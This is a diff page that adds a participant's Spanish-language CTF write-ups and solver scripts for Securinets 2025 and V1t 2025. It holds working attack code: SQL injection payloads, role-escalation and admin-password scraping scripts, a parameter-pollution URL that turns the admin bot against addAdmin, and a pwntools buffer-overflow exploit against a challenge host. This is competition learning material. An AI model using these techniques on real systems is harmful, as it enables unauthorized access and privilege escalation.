Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions 2025/LucianoGanzero/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
# README

Los writeUp de esta carpeta corresponden a los retos:

- V1t CTF 2025 realizado entre los días 31 Oct., 13:00 UTC — 02 Nov. 2025, 13:00 UTC que se encuentra en [ctf.v1t.site](https://ctf.v1t.site/) ![alt text](image-1.png)
- (2do CTF - Incompleto) Securinets CTF quals 2025 realizado entre los días 04 Oct., 13:00 UTC — 05 Oct. 2025, 21:00 UTC que se encuentra en [quals.securinets.tn](https://quals.securinets.tn/) ![alt text](image.png)
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import requests
from bs4 import BeautifulSoup
import re

session = requests.Session()
session.cookies.set("token", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU5NjkwNzY3LCJleHAiOjE3NTk2OTQzNjd9.H8S75FG3KnD_lyMXm0fnCnMW-KIWeLvQnbibNse4tCU")
# Paso 1: Obtener CSRF
r = session.get("http://localhost:3000/admin/msgs")
soup = BeautifulSoup(r.text, "html.parser")
csrf = soup.find("input", {"name": "_csrf"})["value"]

# Paso 2: Construir payload en 'keyword'
# Esto cierra la comilla del LIKE y agrega un OR para seleccionar la flag
# filter_payload = 'type" LIKE \'%\' UNION SELECT msgs.id, flags.flag, \'general\', msgs.createdAt, \'admin\' FROM msgs JOIN flags ON TRUE --'
filter_payload = 'type" = \'general\' UNION ALL WITH msgs AS (SELECT id, flag as msg, \'general\' as type, CURRENT_TIMESTAMP as createdAt, \'admin\' as username FROM flags) SELECT * FROM msgs WHERE "type'
# filter_payload = 'msg" LIKE \'%\' UNION SELECT flags.id AS id, flags.flag AS msg, \'general\' AS type, CURRENT_TIMESTAMP AS createdAt, \'admin\' AS username FROM flags WHERE "id::text'

data = {
"_csrf": csrf,
"filterBy": filter_payload,
"keyword": "%"
}

print("[*] Enviando payload en 'filterBy':", filter_payload)
r2 = session.post("http://localhost:3000/admin/msgs", data=data)
html = r2.text

# Paso 3: Buscar la flag en la respuesta
m = re.search(r"(Securinets\{[^}]+\})", html)
if m:
print("FLAG encontrada:", m.group(1))
else:
print("No se encontró la flag. Fragmento HTML:")
print(html[:2000])
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Securinets{777_P13c3_1T_Up_T0G3Th3R}
Binary file not shown.
31 changes: 31 additions & 0 deletions 2025/LucianoGanzero/SecurinetsCTF/puzzle.web/Scripts/Script.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
import requests
from bs4 import BeautifulSoup

# BASE_URL = "http://172.17.0.2:5000"
BASE_URL = "http://puzzle-c4d26ae9.p1.securinets.tn/"
REGISTER_URL = f"{BASE_URL}/confirm-register"
HOME_URL = f"{BASE_URL}/home"

session = requests.Session()

username = "editor_ctf2"
data = {
"username": username,
"email": f"{username}@ctf.local",
"role": "1"
}

r = session.post(REGISTER_URL, data=data)
if r.status_code == 200 and r.json().get("success"):
print("[✓] Registro exitoso como EDITOR")

home = session.get(HOME_URL)
soup = BeautifulSoup(home.text, "html.parser")
password_tag = soup.find("code", class_="text-black")
if password_tag:
password = password_tag.text.strip()
print(f"[🔑] Contraseña generada: {password}")
else:
print("[✗] No se encontró la contraseña en /home")
else:
print("[✗] Falló el registro como editor")
34 changes: 34 additions & 0 deletions 2025/LucianoGanzero/SecurinetsCTF/puzzle.web/Scripts/sendCollab.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import requests

BASE_URL = "http://172.17.0.2:5000"
COLLAB_URL = f"{BASE_URL}/collab/request"
USER_DETAILS_URL = f"{BASE_URL}/users/{{}}"

session = requests.Session()
session.cookies.set("session", "eyJ1dWlkIjoiNDc1YzJmMjgtNmM4YS00MTgxLWFjNmMtYTMxMzAyNTdjZWMxIn0.aOE-IA.dRsIiO87amo7Y1E8Z_afxwdHRuU")

data = {
"username": "admin",
"title": "CTF Collaboration",
"content": "Let's work together on this puzzle."
}

r = session.post(COLLAB_URL, data=data)
print(f"[i] Status Code: {r.status_code}")
if r.status_code == 200:
response = r.json()
admin_uuid = response.get("to_uuid")
print(f"[+] UUID del admin: {admin_uuid}")

r2 = session.get(USER_DETAILS_URL.format(admin_uuid))
if r2.status_code == 200:
user = r2.json()
print(f"[✓] Usuario: {user['username']}")
print(f"Password: {user['password']}")
print(f"Rol: {user['role']}")
if user['role'] == '0':
print("[🔥] ¡Este es el admin! Ya podés loguearte en /login")
else:
print("[✗] No se pudo consultar /users/<uuid>")
else:
print("[✗] Falló el envío de colaboración")
140 changes: 140 additions & 0 deletions 2025/LucianoGanzero/SecurinetsCTF/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
## Securinets CTF

### Puzzle - Web

![alt text](images/image.png)

El reto comienza dandonos una copia del código con un Dockerfile para replicar el entorno. Dentro del código, hay muchas rutas divididas en dos bloques principales: *auth.py*, donde se encuentran las rutas relacionadas a registro, y *routes.py*, donde están el resto de las rutas. Analizando el código, vemos que hay distintos roles: usuario, editor y admin. Es lógico suponer que nuestro objetivo es loguearnos como admin. Al registrar un usuario, vemos en la ruta *confirm-register* que podemos manipular el formulario para crearnos un usuario **editor**, pero no un admin. Creamos un script para esto (Script.py) y lo ejecutamos.
Estar logueados como editor nos permite el acceso a distintas rutas que ser usuario no nos permite. Principalmente, vemos que podemos acceder a la ruta */users/<uuid>*. En esa ruta podremos acceder a la información de cualquier usuario, ya que no hay ningún tipo de control de accceso y, sobre todo, las contraseñas están guardadas en texto plano. Por tanto, nuestro objetivo es conseguir el uuid del admin.
Analizando el resto de las rutas de **routes.py** vemos que podemos crear artículos con colaboradores, y esto crea una entrada en la tabla *collab_requests* con los **uuid** de los participantes. Esto podemos hacerlo directamente desde la página con el nombre de nuestro colaborador, que será **admin**. Nuestro objetivo ahora será acceder a esta collab_request. Vemos que hay dos rutas que acceden a esta tabla y que potencialmente podrían servirnos: *collab/request* y *collab/requests*. Sin embargo, ambas tienen una protección para que solo pueden ser accedidas desde el propio contenedor Docker do nde están almacenadas, y es una protección que no podemos vulnerar.
Nos enfocamos entonces en la ruta */collab/accept/<string:request_uuid>*. Analizandola, vemos que la ruta permite aceptar una colaboración, lo que publicaría el artículo. La ruta no tiene ningún tipo de control de acceso: no chequea quién es la persona que está accediendo ni que esta persona sea la misma a la que se le solicitó la colaboración, simplemente, chequea que sea un usuario existente y que no sea admin. Para entrar a esta ruta es necesario tener el **uuid** de la request. Este es un dato que aparece "oculto" en el listado de colaboraciones.
![alt text](images/image-1.png)
Una vez con este dato, enviamos la request con curl

```bash
❯ curl -X POST http://<ruta>/collab/accept/<request-uuid> \
-b "session=cookie-del-usuario-editor"
```

![alt text](images/image-4.png)
Esto nos acepta la colaboración y publica el artículo. Podemos ver los artículos en el navegador, e inspeccionando el código podremos ver el **uuid** de los colaboradores. ![alt text](images/image-2.png)
Con esta información, finalmente podemos acceder a la información del administrador.
![alt text](images/image-3.png)

Logueado como administrador, puedo entrar al panel de admin, que me da acceso a una ruta muy sospechosa llamada *ban_users*. Después de dar muchas vueltas, veo que finalmente esa ruta no me es útil. Estando como administrador tambien tengo acceso a la ruta */data* donde encuentro dos archivos: **secrets.zip** y **db_connect.exe**. El zip tiene una contraseña que lo protege, intento forzarla con **john** y con **fcrackzip** sin exito. Me vuelco al otro archivo y lo analizo con **strings**, allí encuentro las credenciales de la base de datos, entre ellas la contraseña. Pruebo esta contraseña en el .zip y finalmente encuentro la flag.
![alt text](images/image-5.png)

![alt text](images/image-6.png)

### S3cret5 - Web

![alt text](images/image-7.png)
El reto comienza con un formulario de login y register. Nuevamente nos dan el código y, lo que se asume, es que tenemos que escalar a admin, ya que hay varias rutas a las que no podemos acceder, y todo está debidamente protegido. Sin embargo, existe la función */report* que, de entrada, se ve muy sospechosa.

```js
router.post("/", authMiddleware, async (req, res) => {
const { url } = req.body;

if (!url || !url.startsWith("http://localhost:3000")) {
return res.status(400).send("Invalid URL");
}

try {
const admin = await User.findById(1);
if (!admin) throw new Error("Admin not found");

const token = jwt.sign({ id: admin.id, role: admin.role }, JWT_SECRET, { expiresIn: "1h" });

// Launch Puppeteer
const browser = await puppeteer.launch({
headless: true,
args: ["--no-sandbox", "--disable-setuid-sandbox"],
});

const page = await browser.newPage();

// Set admin token cookie
await page.setCookie({
name: "token",
value: token,
domain: "localhost",
path: "/",
});

// Visit the reported URL
await page.goto(url, { waitUntil: "networkidle2" });
const html = await page.content();

await browser.close();

res.status(200).send("Thanks for your report");
} catch (error) {
console.error(error);
res.status(200).send("Thanks for your report");
}
});
```

Lo que se ve acá es que, al reportar una ruta, un **pupeteer** con privilegios de admin visita esa ruta. A partir de esto, intenté enviar muchos payloads tanto a los mensajes como a los secretos para luego reportarlos e intentar que el pupeteer los ejecute como admin. Nada de esto funciono porque todas las vistas están correctamente salvadas contra XSS reflejado y almacenado.
Lo que tenemos es qué un admin va a visitar la página que le indiquemos, pero no podemos manipularlo para que haga nada más. Excepto que, la misma página envíe algo al ser visitada. Es el caso de *profile.ejs*. En esa vista hay un script que envía un log al visitarla.

```js
fetch("/log/"+profileId, {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({
userId: "<%= user.id %>",
action: "Visited user profile with id=" + profileId,
_csrf: csrfToken
})
})
.then(res => res.json())
.then(json => console.log("Log created:", json))
.catch(err => console.error("Log error:", err));
```

Convenientemente, el log es un POST que envía el userId del usuario actual. Si manipulamos la variable profileId, podemos enviar un POST a otro lado con nuestro userId en el cuerpo del POST. La ruta a la que hay que enviarlo es a la de *addAdmin*, que envía un POST con un id para convertilo en admin. Sin embargo, esta ruta requiere que el usuario que la envía se admin, por eso necesitamos que la envie el pupeteer.
Ingresando el payload *http://localhost:3000/user/profile/?id=5&id=../admin/addAdmin* forzamos al pupeteer a que vaya a nuestro perfil y a la vez manipulamos la variable para redireccionar el fetch. Con esto nos convertimos en admin.

![alt text](images/image-8.png)
![alt text](images/image-9.png)

A partir de acá, no pude resolverlo. Mi sospecha principal y la estrategia que probé fue un ataque de SQLi sobre la función del Model me msgs *findAll*, con el fin de extraer la flag de la tabla **flags** (los *console.log* son propios para debug):

```js
findAll: async (filterField = null, keyword = null) => {
const { clause, params } = filterHelper("msgs", filterField, keyword);

const query = `
SELECT msgs.id, msgs.msg, msgs.type, msgs.createdAt, users.username
FROM msgs
INNER JOIN users ON msgs.userId = users.id
${clause || ""}
ORDER BY msgs.createdAt DESC
`;

console.log("[DEBUG] Query construida:", query);
console.log("[DEBUG] Parámetros:", params);

const res = await db.query(query, params || []);
return res.rows;
},
```

Esto llama al helper *filterHelper* para ayudarlo a construir la claúsula por la que filtra.

```js
function filterBy(table, filterBy, keyword, paramIndexStart = 1) {
if (!filterBy || !keyword) {
return { clause: "", params: [] };
}

const clause = ` WHERE ${table}."${filterBy}" LIKE $${paramIndexStart}`;
const params = [`%${keyword}%`];

return { clause, params };
}
```

Por la forma en que está construida la query, el parámetro *keyword*, que es el que nosotros podemos controlar desde el formulario de la web, está correctamente salvado y parametrizado. Pero el parámetro *filterBy* no, y es vulnerable a SQLi. Sin embargo, por la manera en que está construida la query, no logré armar el payload adecuado: las comillas entre las que está encerrado el parámetro en el String de js y la forma en que está construido el string me impedían comentar el resto de la query, por lo que no pude lograr una sentencia que incluya al LIKE y al ORDERBY siguientes con un UNION que me permitan extraer la flag. Probé muchos payloads, algunos de los cuales quedaron guardados en el script *postAMessage.py*, pero no logré dar con el adecuado.
Binary file added 2025/LucianoGanzero/V1tCTF/Waddler.pwn/chall
Binary file not shown.
83 changes: 83 additions & 0 deletions 2025/LucianoGanzero/V1tCTF/Waddler.pwn/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template /home/luciano/Descargas/chall --host chall.v1t.site --port 30210
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or '/home/luciano/Descargas/chall')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'chall.v1t.site'
port = int(args.PORT or 30210)


def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# SHSTK: Enabled
# IBT: Enabled
# Stripped: No

io = start()

offset = 72
duck = 0x40128c

payload = b'A' * offset + p64(duck)

linea = io.recvline()
print(linea)

io.sendline(payload)
io.interactive()

# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)

io.interactive()

Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-10.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-11.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-13.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-14.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-3.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-4.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-6.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-7.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-8.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image-9.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added 2025/LucianoGanzero/V1tCTF/imagesV1t/image.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading